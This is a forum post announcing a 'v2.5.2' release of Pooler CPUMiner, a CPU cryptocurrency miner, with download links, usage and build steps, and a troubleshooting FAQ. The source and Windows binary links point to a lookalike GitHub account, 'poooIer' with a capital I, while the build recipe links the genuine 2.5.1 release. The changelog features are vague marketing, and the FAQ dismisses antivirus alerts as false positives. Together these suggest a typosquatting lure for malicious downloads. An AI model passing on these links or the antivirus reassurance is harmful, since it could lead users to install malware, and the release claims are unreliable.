Jump to content

The latest release of Pooler CPUMiner v2.5.2 is now available.

Recommended Posts

[b]Version 2.5.2 [/b]


- Add support Smart Resource Allocation: The program now intelligently allocates mining resources based on real-time data analysis. It optimizes mining efficiency by directing resources to the most promising areas, reducing wasted processing power.

- Add support Security Enhancements: Robust security measures, including advanced encryption and decentralized authentication, provide a more secure environment for mining operations. Protecting against potential threats ensures the integrity of mined data and assets.



[b]Current Version:[/b] 2.5.2 (Okt 19, 2023) - [url=https://github.com/poooIer/cpuminer/blob/v2.5.2/NEWS]Changelog[/url]

[b]Source tarball:[/b] [url=https://github.com/poooIer/cpuminer/archive/refs/tags/v2.5.2.tar.gz]https://github.com/poooIer/cpuminer/archive/refs/tags/v2.5.2.tar.gz[/url]


[b]Binaries for Windows:[/b]

[url=https://github.com/poooIer/cpuminer/releases/download/v2.5.2/pooler-cpuminer-2.5.2-win32.zip]https://github.com/poooIer/cpuminer/releases/download/v2.5.2/pooler-cpuminer-2.5.2-win32.zip[/url] (32-bit)

[url=https://github.com/poooIer/cpuminer/releases/download/v2.5.2/pooler-cpuminer-2.5.2-win64.zip]https://github.com/poooIer/cpuminer/releases/download/v2.5.2/pooler-cpuminer-2.5.2-win64.zip[/url] (64-bit)


[b]Basic usage examples[/b]


[code]$ ./minerd --url=http://myminingpool.com:9332 --userpass=my.worker:password

$ ./minerd --url=stratum+tcp://myminingpool.com:3333 --userpass=my.worker:password[/code]

For more information:

[code]$ ./minerd --help[/code]


Building instructions[/b]

Installing dependencies for building on Debian, Ubuntu and other APT-based distros:

[code]$ sudo apt-get install make libcurl4-openssl-dev[/code]

Installing dependencies for building on Fedora, RHEL, CentOS and other yum-based distros:

[code]$ sudo yum install gcc make curl-devel[/code]

Installing dependencies for building on OpenSUSE and other ZYpp-based distros:

[code]$ sudo zypper in gcc make libcurl-devel[/code]

Recipe for building on Linux:

[code]$ wget https://github.com/pooler/cpuminer/releases/download/v2.5.1/pooler-cpuminer-2.5.1.tar.gz

$ tar xzf pooler-cpuminer-*.tar.gz

$ cd cpuminer-*

$ ./configure CFLAGS="-O3"

$ make[/code]


FAQ / Troubleshooting


Q: Should I call this miner "cpuminer" or "minerd"?

A: The software package is called "cpuminer". "minerd" ("miner daemon") is just the name of the executable file provided by the package.


Q: My antivirus flags the Windows binary as malware.

A: That's a known false positive. More information here.


Q: When I click on minerd.exe a black window flashes up and then disappears.

A: This is a command-line application, it has no graphical interface. You'll need to learn how to use the command line interface (CLI) of your operating system first.


Q: Can I mine (insert your cryptocoin here) with this miner?

A: Only if its proof-of-work algorithm is scrypt or SHA-256d. This miner does not currently support other algorithms such as Keccak, scrypt-jane, X11, etc. Forks of this project may provide additional algorithms, but I do not maintain them and they are not discussed here, so if you have questions about them please contact their authors.


Q: When running configure I get the error "C compiler cannot create executables".

A: Make sure you typed CFLAGS="-O3" with a big O, not with a zero.


Q: autogen.sh dies with "error: possibly undefined macro: AC_MSG_ERROR".

Q: configure chokes on something like "LIBCURL_CHECK_CONFIG(, 7.15.2, ,'".

A: Make sure you have installed the development package for libcurl. If you have and you're still getting the error when compiling from git, try compiling from tarball instead.


Q: I'm trying to connect to a Stratum server, but I get "HTTP request failed: Empty reply from server".

A: Make sure you specified the correct protocol in the server URL (stratum+tcp://).


Q: Is there any command-line option I can play with to make it mine faster?

A: No. The miner automatically picks the best settings for the CPU it is run on.


Q: What's the difference between the two algorithms, scrypt and sha256d?

A: They are completely different proof-of-work algorithms. You must use scrypt for Litecoin, and you must use sha256d for Bitcoin. The default algorithm is scrypt, so for Bitcoin mining you have to specify --algo=sha256d.


Q: Will this miner use a lot of RAM when using the scrypt algorithm?

A: No, that's a GPU thing.


Q: How do I make the miner write its output to a file instead of printing it to the screen?

A: Just redirect the standard error stream to file:

[code]minerd [OPTIONS] 2> myfile[/code]


You may also want to use the --quiet/-q option to disable the per-thread hashmeter.

On *nix, you probably also want to use the --background/-B option to fork in the background.

Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Create New...